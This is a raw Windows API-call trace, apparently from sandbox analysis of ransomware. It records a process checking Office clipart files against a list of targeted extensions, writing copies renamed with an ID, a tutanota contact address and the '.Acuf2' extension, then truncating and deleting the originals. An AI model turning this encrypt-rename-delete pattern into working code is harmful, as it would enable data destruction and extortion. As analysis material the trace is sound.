	[0260.903] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0260.903] lstrlenW (lpString=".ppt") returned 4
	[0260.903] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0260.903] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00121_.WMF") returned 63
	[0260.903] lstrlenW (lpString=".zip") returned 4
	[0260.903] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0260.903] lstrlenW (lpString=".rar") returned 4
	[0260.903] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0260.903] lstrlenW (lpString=".bz2") returned 4
	[0260.903] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0260.903] lstrlenW (lpString=".7z") returned 3
	[0260.903] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0260.903] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00121_.WMF") returned 63
	[0260.903] lstrlenW (lpString=".dbf") returned 4
	[0260.903] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0260.903] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00121_.WMF") returned 63
	[0260.903] lstrlenW (lpString=".1cd") returned 4
	[0260.903] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0260.903] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00121_.WMF") returned 63
	[0260.903] lstrlenW (lpString=".jpg") returned 4
	[0260.903] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0260.904] lstrcmpiW (lpString1=".WMF", lpString2=".Acuf2") returned 1
	[0260.904] lstrlenW (lpString="DD01145_.WMF") returned 12
	[0260.904] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01145_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01145_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x32c
	[0260.904] GetFileSizeEx (in: hFile=0x32c, lpFileSize=0x2e8ff1c | out: lpFileSize=0x2e8ff1c*=2780) returned 1
	[0260.904] CloseHandle (hObject=0x32c) returned 1
	[0260.904] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01145_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01145_.wmf")) returned 0x20
	[0260.904] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01145_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01145_.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0260.904] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01145_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01145_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x32c
	[0260.904] SetFilePointerEx (in: hFile=0x32c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0260.904] SetFilePointerEx (in: hFile=0x32c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0260.904] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01145_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01145_.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0260.905] GetLastError () returned 0x0
	[0260.905] ReadFile (in: hFile=0x32c, lpBuffer=0x3b10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesRead=0x2e8fed4*=0xadc, lpOverlapped=0x0) returned 1
	[0260.924] WriteFile (in: hFile=0x338, lpBuffer=0x3b10020*, nNumberOfBytesToWrite=0xae0, lpNumberOfBytesWritten=0x2e8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesWritten=0x2e8fc9c*=0xae0, lpOverlapped=0x0) returned 1
	[0260.925] ReadFile (in: hFile=0x32c, lpBuffer=0x3b10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesRead=0x2e8fed4*=0x0, lpOverlapped=0x0) returned 1
	[0260.925] WriteFile (in: hFile=0x338, lpBuffer=0x3b10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesWritten=0x2e8fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0260.925] SetEndOfFile (hFile=0x338) returned 1
	[0260.925] CloseHandle (hObject=0x338) returned 1
	[0260.925] SetFilePointerEx (in: hFile=0x32c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0260.925] SetEndOfFile (hFile=0x32c) returned 1
	[0260.928] CloseHandle (hObject=0x32c) returned 1
	[0260.928] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01145_.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0260.928] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01145_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01145_.wmf")) returned 1
	[0260.928] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01145_.WMF") returned 63
	[0260.928] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01145_.WMF") returned 63
	[0260.928] lstrlenW (lpString=".doc") returned 4
	[0260.928] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0260.928] lstrlenW (lpString=".docx") returned 5
	[0260.928] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0260.928] lstrlenW (lpString=".pdf") returned 4
	[0260.928] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0260.928] lstrlenW (lpString=".xls") returned 4
	[0260.928] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0260.928] lstrlenW (lpString=".xlsx") returned 5
	[0260.928] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0260.928] lstrlenW (lpString=".ppt") returned 4
	[0260.928] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0260.928] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01145_.WMF") returned 63
	[0260.928] lstrlenW (lpString=".zip") returned 4
	[0260.929] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0260.929] lstrlenW (lpString=".rar") returned 4
	[0260.929] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0260.929] lstrlenW (lpString=".bz2") returned 4
	[0260.929] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0260.929] lstrlenW (lpString=".7z") returned 3
	[0260.929] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0260.929] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01145_.WMF") returned 63
	[0260.929] lstrlenW (lpString=".dbf") returned 4
	[0260.929] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0260.929] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01145_.WMF") returned 63
	[0260.929] lstrlenW (lpString=".1cd") returned 4
	[0260.929] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0260.929] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01145_.WMF") returned 63
	[0260.929] lstrlenW (lpString=".jpg") returned 4
	[0260.929] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0260.929] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01145_.WMF") returned 63
	[0260.929] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01145_.WMF") returned 63
	[0260.929] lstrlenW (lpString=".doc") returned 4
	[0260.929] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0260.929] lstrlenW (lpString=".docx") returned 5
	[0260.929] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0260.929] lstrlenW (lpString=".pdf") returned 4
	[0260.929] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0260.929] lstrlenW (lpString=".xls") returned 4
	[0260.929] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0260.929] lstrlenW (lpString=".xlsx") returned 5
	[0260.929] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0260.929] lstrlenW (lpString=".ppt") returned 4
	[0260.929] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0260.929] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01145_.WMF") returned 63
	[0260.930] lstrlenW (lpString=".zip") returned 4
	[0260.930] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0260.930] lstrlenW (lpString=".rar") returned 4
	[0260.930] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0260.930] lstrlenW (lpString=".bz2") returned 4
	[0260.930] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0260.930] lstrlenW (lpString=".7z") returned 3
	[0260.930] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0260.930] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01145_.WMF") returned 63
	[0260.930] lstrlenW (lpString=".dbf") returned 4
	[0260.930] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0260.930] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01145_.WMF") returned 63
	[0260.930] lstrlenW (lpString=".1cd") returned 4
	[0260.930] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0260.930] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01145_.WMF") returned 63
	[0260.930] lstrlenW (lpString=".jpg") returned 4
	[0260.930] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0260.930] lstrcmpiW (lpString1=".WMF", lpString2=".Acuf2") returned 1
	[0260.930] lstrlenW (lpString="DD01157_.WMF") returned 12
	[0260.930] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01157_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01157_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358
	[0260.951] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x2e8ff1c | out: lpFileSize=0x2e8ff1c*=3588) returned 1
	[0260.951] CloseHandle (hObject=0x358) returned 1
	[0260.951] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01157_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01157_.wmf")) returned 0x20
	[0260.995] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01157_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01157_.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0260.996] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01157_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01157_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218
	[0260.996] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0260.996] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0260.996] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01157_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01157_.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x29c
	[0260.997] GetLastError () returned 0x0
	[0260.997] ReadFile (in: hFile=0x218, lpBuffer=0x3b10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesRead=0x2e8fed4*=0xe04, lpOverlapped=0x0) returned 1
	[0261.001] WriteFile (in: hFile=0x29c, lpBuffer=0x3b10020*, nNumberOfBytesToWrite=0xe10, lpNumberOfBytesWritten=0x2e8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesWritten=0x2e8fc9c*=0xe10, lpOverlapped=0x0) returned 1
	[0261.002] ReadFile (in: hFile=0x218, lpBuffer=0x3b10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesRead=0x2e8fed4*=0x0, lpOverlapped=0x0) returned 1
	[0261.002] WriteFile (in: hFile=0x29c, lpBuffer=0x3b10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesWritten=0x2e8fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0261.002] SetEndOfFile (hFile=0x29c) returned 1
	[0261.002] CloseHandle (hObject=0x29c) returned 1
	[0261.002] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0261.002] SetEndOfFile (hFile=0x218) returned 1
	[0261.004] CloseHandle (hObject=0x218) returned 1
	[0261.004] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01157_.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0261.004] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01157_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01157_.wmf")) returned 1
	[0261.005] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01157_.WMF") returned 63
	[0261.005] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01157_.WMF") returned 63
	[0261.005] lstrlenW (lpString=".doc") returned 4
	[0261.005] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0261.005] lstrlenW (lpString=".docx") returned 5
	[0261.005] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0261.005] lstrlenW (lpString=".pdf") returned 4
	[0261.005] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0261.005] lstrlenW (lpString=".xls") returned 4
	[0261.005] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0261.005] lstrlenW (lpString=".xlsx") returned 5
	[0261.005] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0261.005] lstrlenW (lpString=".ppt") returned 4
	[0261.005] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0261.005] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01157_.WMF") returned 63
	[0261.005] lstrlenW (lpString=".zip") returned 4
	[0261.005] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0261.005] lstrlenW (lpString=".rar") returned 4
	[0261.005] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0261.006] lstrlenW (lpString=".bz2") returned 4
	[0261.006] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0261.006] lstrlenW (lpString=".7z") returned 3
	[0261.006] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0261.006] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01157_.WMF") returned 63
	[0261.006] lstrlenW (lpString=".dbf") returned 4
	[0261.006] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0261.006] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01157_.WMF") returned 63
	[0261.006] lstrlenW (lpString=".1cd") returned 4
	[0261.006] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0261.006] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01157_.WMF") returned 63
	[0261.006] lstrlenW (lpString=".jpg") returned 4
	[0261.006] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0261.006] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01157_.WMF") returned 63
	[0261.006] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01157_.WMF") returned 63
	[0261.006] lstrlenW (lpString=".doc") returned 4
	[0261.006] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0261.006] lstrlenW (lpString=".docx") returned 5
	[0261.006] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0261.006] lstrlenW (lpString=".pdf") returned 4
	[0261.006] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0261.006] lstrlenW (lpString=".xls") returned 4
	[0261.006] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0261.006] lstrlenW (lpString=".xlsx") returned 5
	[0261.006] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0261.006] lstrlenW (lpString=".ppt") returned 4
	[0261.006] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0261.006] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01157_.WMF") returned 63
	[0261.006] lstrlenW (lpString=".zip") returned 4
	[0261.006] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0261.007] lstrlenW (lpString=".rar") returned 4
	[0261.007] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0261.007] lstrlenW (lpString=".bz2") returned 4
	[0261.007] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0261.007] lstrlenW (lpString=".7z") returned 3
	[0261.007] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0261.007] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01157_.WMF") returned 63
	[0261.007] lstrlenW (lpString=".dbf") returned 4
	[0261.007] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0261.007] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01157_.WMF") returned 63
	[0261.007] lstrlenW (lpString=".1cd") returned 4
	[0261.007] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0261.007] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01157_.WMF") returned 63
	[0261.007] lstrlenW (lpString=".jpg") returned 4
	[0261.007] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0261.007] lstrcmpiW (lpString1=".WMF", lpString2=".Acuf2") returned 1
	[0261.007] lstrlenW (lpString="DD01170_.WMF") returned 12
	[0261.007] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01170_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01170_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218
	[0261.008] GetFileSizeEx (in: hFile=0x218, lpFileSize=0x2e8ff1c | out: lpFileSize=0x2e8ff1c*=2404) returned 1
	[0261.008] CloseHandle (hObject=0x218) returned 1
	[0261.008] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01170_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01170_.wmf")) returned 0x20
	[0261.008] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01170_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01170_.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0261.008] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01170_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01170_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218
	[0261.008] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0261.008] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0261.008] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01170_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01170_.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x29c
	[0261.008] GetLastError () returned 0x0
	[0261.008] ReadFile (in: hFile=0x218, lpBuffer=0x3b10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesRead=0x2e8fed4*=0x964, lpOverlapped=0x0) returned 1
	[0261.010] WriteFile (in: hFile=0x29c, lpBuffer=0x3b10020*, nNumberOfBytesToWrite=0x970, lpNumberOfBytesWritten=0x2e8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesWritten=0x2e8fc9c*=0x970, lpOverlapped=0x0) returned 1
	[0261.011] ReadFile (in: hFile=0x218, lpBuffer=0x3b10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesRead=0x2e8fed4*=0x0, lpOverlapped=0x0) returned 1
	[0261.011] WriteFile (in: hFile=0x29c, lpBuffer=0x3b10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesWritten=0x2e8fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0261.011] SetEndOfFile (hFile=0x29c) returned 1
	[0261.011] CloseHandle (hObject=0x29c) returned 1
	[0261.015] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0261.015] SetEndOfFile (hFile=0x218) returned 1
	[0261.017] CloseHandle (hObject=0x218) returned 1
	[0261.017] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01170_.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0261.017] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01170_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01170_.wmf")) returned 1
	[0261.017] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01170_.WMF") returned 63
	[0261.017] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01170_.WMF") returned 63
	[0261.017] lstrlenW (lpString=".doc") returned 4
	[0261.017] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0261.017] lstrlenW (lpString=".docx") returned 5
	[0261.017] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0261.017] lstrlenW (lpString=".pdf") returned 4
	[0261.017] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0261.017] lstrlenW (lpString=".xls") returned 4
	[0261.017] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0261.017] lstrlenW (lpString=".xlsx") returned 5
	[0261.018] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0261.018] lstrlenW (lpString=".ppt") returned 4
	[0261.018] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0261.018] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01170_.WMF") returned 63
	[0261.018] lstrlenW (lpString=".zip") returned 4
	[0261.018] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0261.018] lstrlenW (lpString=".rar") returned 4
	[0261.018] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0261.018] lstrlenW (lpString=".bz2") returned 4
	[0261.018] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0261.018] lstrlenW (lpString=".7z") returned 3
	[0261.018] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0261.018] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01170_.WMF") returned 63
	[0261.018] lstrlenW (lpString=".dbf") returned 4
	[0261.018] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0261.018] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01170_.WMF") returned 63
	[0261.018] lstrlenW (lpString=".1cd") returned 4
	[0261.018] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0261.018] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01170_.WMF") returned 63
	[0261.018] lstrlenW (lpString=".jpg") returned 4
	[0261.018] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0261.018] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01170_.WMF") returned 63
	[0261.018] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01170_.WMF") returned 63
	[0261.018] lstrlenW (lpString=".doc") returned 4
	[0261.018] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0261.018] lstrlenW (lpString=".docx") returned 5
	[0261.018] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0261.018] lstrlenW (lpString=".pdf") returned 4
	[0261.018] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0261.018] lstrlenW (lpString=".xls") returned 4
	[0261.019] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0261.019] lstrlenW (lpString=".xlsx") returned 5
	[0261.019] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0261.019] lstrlenW (lpString=".ppt") returned 4
	[0261.019] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
